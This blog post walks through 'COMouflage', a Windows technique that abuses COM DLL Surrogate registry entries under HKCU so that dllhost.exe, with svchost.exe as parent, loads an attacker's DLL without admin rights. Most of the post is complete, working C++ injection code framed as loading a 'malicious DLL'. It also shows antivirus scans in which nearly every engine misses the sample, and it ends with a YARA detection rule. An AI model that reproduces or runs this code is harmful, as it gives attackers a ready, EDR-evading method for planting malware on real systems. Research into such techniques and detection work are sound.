COMouflage: Stealthy DLL Surrogate Injection for Process Tree Evasion

COMouflage: Stealthy DLL Surrogate Injection for Process Tree Evasion

Original text by S12 – 0x12Dark Development

What if you could inject malicious code into a trusted Windows process without ever touching it directly, without admin rights, and without triggering most EDR solutions?

That’s exactly what COMouflage achieves. By weaponizing a legitimate Windows mechanism called DLL Surrogate, an attacker can make malware run inside dllhost.exe, with svchost.exe appearing as its parent.

To any analyst glancing at the process tree, nothing looks out of the ordinary. This post breaks down exactly how this technique works, why it’s so stealthy, and how it’s implemented in C++

Methodology

COM (Component Object Model) hijacking has long been documented as a persistence trick swap out a registry key, get your DLL loaded. But COMouflage takes things further. Rather than just persisting, it uses COM’s DLL Surrogate mechanism to achieve full process injection with parent process masquerading

When Windows launches a COM object configured as an out-of-process server, it spins up dllhost.exe automatically and the parent of that dllhost.exe is svchost.exe, not your malicious process. The initiating process disappears from the lineage entirely.

Before touching any code, let’s walk through the logical recipe.

To achieve surrogate-based DLL injection, we follow these steps:

Forge the Registry Identity

First, we need to create a fake COM object identity in the Windows registry specifically inside HKEY_CURRENT_USER (HKCU), not HKEY_LOCAL_MACHINE.

This is critical because HKCU requires no elevated privileges. We write two registry paths: one for the AppID (which tells Windows how to host the object) and one for the CLSID (which tells Windows what the object is and where the DLL lives)

Set the DllSurrogate Trigger

Inside the AppID key, we set a value called DllSurrogate to an empty string. This is the magic switch. An empty DllSurrogate value tells Windows: Use the default surrogate host which is dllhost.exe. Windows will automatically launch it and load our DLL inside it.

Set the DllSurrogate Trigger

Under the CLSID key’s InprocServer32 subkey, we write the full path to our malicious DLL. The ThreadingModel is set to Apartment to satisfy COM’s threading requirements and prevent instantiation failures

Point to the Payload DLL

Under the CLSID key’s InprocServer32 subkey, we write the full path to our malicious DLL. The ThreadingModel is set to Apartment to satisfy COM’s threading requirements and prevent instantiation failures

Trigger Instantiation via CoCreateInstance

Finally, we call CoCreateInstance with the flag CLSCTX_LOCAL_SERVER. This flag is the detonator. It forces Windows to treat our COM object as an out-of-process server, which causes the COM Service Control Manager to read our registry entries, find the DllSurrogate value, launch dllhost.exe, and load our DLL into it. Our job is done.

Implementation

Now, let’s look at how to translate that logic into C++ code. I have broken down the most important parts.

Registry Helper Function

bool SetRegStr(HKEY root, const std::wstring& key,
               const std::wstring& name, const std::wstring& val) {
    HKEY h;
    if (RegCreateKeyExW(root, key.c_str(), 0, nullptr,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &h, nullptr) != ERROR_SUCCESS)
        return false;

    if (RegSetValueExW(h,
        name.empty() ? nullptr : name.c_str(),
        0, REG_SZ,
        (const BYTE*)val.c_str(),
        DWORD((val.size() + 1) * sizeof(wchar_t))) != ERROR_SUCCESS)
    {
        RegCloseKey(h);
        return false;
    }
    RegCloseKey(h);
    return true;
}

This is the utility function that does all the registry writing. RegCreateKeyExW either creates a new key or opens an existing one, it’s non-destructive if the key already exists.

Notice REG_OPTION_NON_VOLATILE: this makes the key persist across reboots. For a stealthier, memory-only variant, you could swap this for REG_OPTION_VOLATILE, which evaporates when the hive is unloaded.

Writing the AppID and CLSID Keys

static const wchar_t* CLSID_STR = L"{F00DBABA-2504-2025-2016-666699996666}";

// AppID key: tells Windows to use dllhost.exe as surrogate
std::wstring appidKey = LR"(Software\Classes\AppID\)" + std::wstring(CLSID_STR);
SetRegStr(HKEY_CURRENT_USER, appidKey, L"",             L"MyStealthObject");
SetRegStr(HKEY_CURRENT_USER, appidKey, L"DllSurrogate", L"");  // Empty = use dllhost.exe

// CLSID key: defines the COM object and points to the DLL
std::wstring clsidKey  = LR"(Software\Classes\CLSID\)" + std::wstring(CLSID_STR);
std::wstring inprocKey = clsidKey + LR"(\InprocServer32)";

SetRegStr(HKEY_CURRENT_USER, clsidKey,  L"",              L"MyStealthObject");
SetRegStr(HKEY_CURRENT_USER, clsidKey,  L"AppID",         CLSID_STR);
SetRegStr(HKEY_CURRENT_USER, inprocKey, L"",              L"C:\\Users\\sample.dll");
SetRegStr(HKEY_CURRENT_USER, inprocKey, L"ThreadingModel", L"Apartment");

This is where the COM identity is constructed. The CLSID is essentially a fake name tag for our object, a GUID we invented.

The AppID entry with DllSurrogate = “” is the key instruction to Windows. The InprocServer32 entry is what tells dllhost.exe (which DLL) to load once it spawns. The path should point to a user-writable location to stay privilege-free

The Trigger CoCreateInstance

HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);

CLSID clsid;
CLSIDFromString(const_cast<LPWSTR>(CLSID_STR), &clsid);

IUnknown* p;
hr = CoCreateInstance(
    clsid,
    nullptr,
    CLSCTX_LOCAL_SERVER,  // <-- This is the detonator
    IID_IUnknown,
    (void**)&p
);

CoInitializeEx sets up the COM runtime for the current thread. Then CLSIDFromString converts our GUID string into the binary format COM needs internally

The crucial line is CoCreateInstance with CLSCTX_LOCAL_SERVER. Without this flag, COM would try to load the DLL in-process (directly into our own process) which is not what we want.

CLSCTX_LOCAL_SERVER forces COM to go out-of-process, which means the COM SCM kicks in, reads the registry, finds DllSurrogate, and spawns dllhost.exe to host the DLL. Our process triggered the injection but never directly touched dllhost.exe

The Resulting Process Tree

svchost.exe  (COM+ System Application)
└── dllhost.exe /Processid:{F00DBABA-...}
└── [sample.dll loaded and executing]

The attacker’s process is nowhere in this tree. From a process monitoring perspective, this looks like routine COM activity

Code

Complete code:

#include <windows.h>
#include <objbase.h>
#include <iostream>

// Custom CLSID for our malicious COM object
// This GUID will uniquely identify our COM object in the registry
static const wchar_t* CLSID_STR = L"{F00DBABA-2504-2025-2016-666699996666}";


//Helper function to write string values to Windows registry
bool SetRegStr(HKEY root, const std::wstring& key, const std::wstring& name, const std::wstring& val) {
    HKEY h;
    
    // Create or open the registry key with write permissions
    // REG_OPTION_VOLATILE means the key won't persist across reboots
    if (RegCreateKeyExW(root, key.c_str(), 0, nullptr, 
        REG_OPTION_VOLATILE, KEY_WRITE, nullptr, &h, nullptr) != ERROR_SUCCESS) {
        return false;
    }
    
    // Write the string value to the registry
    if (RegSetValueExW(h, 
        name.empty() ? nullptr : name.c_str(), 
        0, REG_SZ, 
        reinterpret_cast<const BYTE*>(val.c_str()), 
        DWORD((val.size() + 1) * sizeof(wchar_t))) != ERROR_SUCCESS) {
        RegCloseKey(h);
        return false;
    }
    
    RegCloseKey(h);
    return true;
}

int wmain() {
    // STEP 1: Create AppID registry entry for DLL Surrogate configuration
    // This tells Windows to use dllhost.exe as a surrogate process
    std::wstring appidKey = LR"(Software\Classes\AppID\)" + std::wstring(CLSID_STR);
    
    // Set default value and empty DllSurrogate (triggers default dllhost.exe)
    if (!SetRegStr(HKEY_CURRENT_USER, appidKey, L"", L"MyStealthObject") ||
        !SetRegStr(HKEY_CURRENT_USER, appidKey, L"DllSurrogate", L"")) {
        std::wcerr << L"[!] AppID registry failed\n";
        return 1;
    }

    // STEP 2: Create CLSID registry entries to define our COM object
    // This maps our CLSID to the malicious DLL and links it to the AppID
    std::wstring clsidKey = LR"(Software\Classes\CLSID\)" + std::wstring(CLSID_STR);
    std::wstring inprocKey = clsidKey + LR"(\InprocServer32)";
    
    if (!SetRegStr(HKEY_CURRENT_USER, clsidKey, L"", L"MyStealthObject") ||           // Object name
        !SetRegStr(HKEY_CURRENT_USER, clsidKey, L"AppID", CLSID_STR) ||              // Link to AppID
        !SetRegStr(HKEY_CURRENT_USER, inprocKey, L"", L"C:\\Users\\Public\\DummyDLL.dll") ||   // Path to malicious DLL
        !SetRegStr(HKEY_CURRENT_USER, inprocKey, L"ThreadingModel", L"Apartment")) { // COM threading model
        std::wcerr << L"[!] CLSID registry failed\n";
        return 1;
    }
    
    std::wcout << L"[+] Registry for COM surrogates created\n";

    // STEP 3: Initialize COM subsystem and trigger the injection
    // Initialize COM library for apartment-threaded model
    HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
    if (FAILED(hr)) {
        std::wcerr << L"[!] CoInitializeEx: 0x" << std::hex << hr << L"\n";
        return 1;
    }

    // Convert string CLSID to binary format
    CLSID clsid;
    hr = CLSIDFromString(const_cast<LPWSTR>(CLSID_STR), &clsid);
    if (FAILED(hr)) {
        std::wcerr << L"[!] Invalid CLSID\n";
        return 1;
    }

    // THE MAGIC HAPPENS HERE!
    // CLSCTX_LOCAL_SERVER forces Windows to:
    // 1. Look up our CLSID in the registry
    // 2. Find the DllSurrogate entry
    // 3. Launch dllhost.exe as a surrogate process
    // 4. Load our malicious DLL into dllhost.exe
    // 5. The parent process appears as svchost.exe 
    IUnknown* p;
    hr = CoCreateInstance(clsid, nullptr, 
        CLSCTX_LOCAL_SERVER,  // KEY PARAMETER: Forces out-of-process execution
        IID_IUnknown, 
        (void**)&p);

    // Clean up COM subsystem
    CoUninitialize();

    // At this point, our DLL is running in dllhost.exe with svchost.exe as parent
    return 0;
}

Proof of Concept

Windows 11:

If we try to run the code:

Press enter or click to view image in full size

The messagebox is the message loaded from the DLL

Detection

Now it’s time to see if the defenses are detecting this as a malicious threat

Kleenscan API

[*] Antivirus Scan Results:

  - alyac                | Status: scanning   | Flag: Scanning results incomplete    | Updated: 2026-04-05
  - amiti                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - arcabit              | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - avast                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - avg                  | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - avira                | Status: scanning   | Flag: Scanning results incomplete    | Updated: 2026-04-05
  - bullguard            | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - clamav               | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - comodolinux          | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - crowdstrike          | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - drweb                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - emsisoft             | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - escan                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - fprot                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - fsecure              | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - gdata                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - ikarus               | Status: ok         | Flag: Trojan-Downloader.Win64.Agent  | Updated: 2026-04-05
  - immunet              | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - kaspersky            | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - maxsecure            | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - mcafee               | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - microsoftdefender    | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - nano                 | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - nod32                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - norman               | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - secureageapex        | Status: ok         | Flag: Unknown                        | Updated: 2026-04-05
  - seqrite              | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - sophos               | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - threatdown           | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - trendmicro           | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - vba32                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - virusfighter         | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - xvirus               | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - zillya               | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - zonealarm            | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05
  - zoner                | Status: ok         | Flag: Undetected                     | Updated: 2026-04-05

Litterbox

Static Analysis:

ThreatCheck

[+] No threats found!

Windows Defender

Not detected

Kaspersky Free AV

Not detected

Bitdefender Free AV

Not detected

YARA

Here a YARA rule to detect this technique:

rule Win_T1546_015_COMouflage_Surrogate_Injection {
    meta:
        author = "0x12 Dark Development"
        description = "Detects COM Surrogate injection technique (COMouflage) which weaponizes DLL Surrogates for process injection and parent PID masquerading."
        technique = "T1546.015 (Component Object Model Hijacking)"
        context = "https://0x12darkdev.net"
        date = "2026-04-06"
        severity = "High"

    strings:
        // Registry paths and keys critical to the technique
        $reg_appid = "Software\\Classes\\AppID\\" wide ascii
        $reg_clsid = "Software\\Classes\\CLSID\\" wide ascii
        $reg_inproc = "\\InprocServer32" wide ascii
        $val_surrogate = "DllSurrogate" wide ascii
        $val_threading = "ThreadingModel" wide ascii

        // API imports typically used to implement this
        $api_reg_create = "RegCreateKeyEx"
        $api_reg_set = "RegSetValueEx"
        $api_cocreate = "CoCreateInstance"
        $api_clside_str = "CLSIDFromString"

        // Hex for CLSCTX_LOCAL_SERVER (0x4) often passed to CoCreateInstance
        // This is a more behavioral indicator if found in code logic
        $hex_local_server = { 04 00 00 00 }

    condition:
        uint16(0) == 0x5A4D and // PE File
        (
            // Check for the combination of registry manipulation and COM instantiation
            (all of ($reg_*)) and 
            (all of ($val_*)) and
            (any of ($api_*)) and
            $hex_local_server
        ) or (
            // High confidence if it includes the specific logic for empty DllSurrogate strings
            $val_surrogate and $reg_appid and $api_reg_set
        )
}

Conclusions

In conclusion, COMouflage Surrogate Injection represents a sophisticated evolution of traditional COM hijacking by weaponizing the built-in DllSurrogate mechanism to achieve stealthy process injection without requiring administrative privileges. By decoupling the malicious process from its lineage and masquerading under the trusted svchost.exe and dllhost.exe tree, this technique effectively bypasses standard behavioral heuristics and parent-child relationship monitoring used by many EDR solutions.

Comments are closed.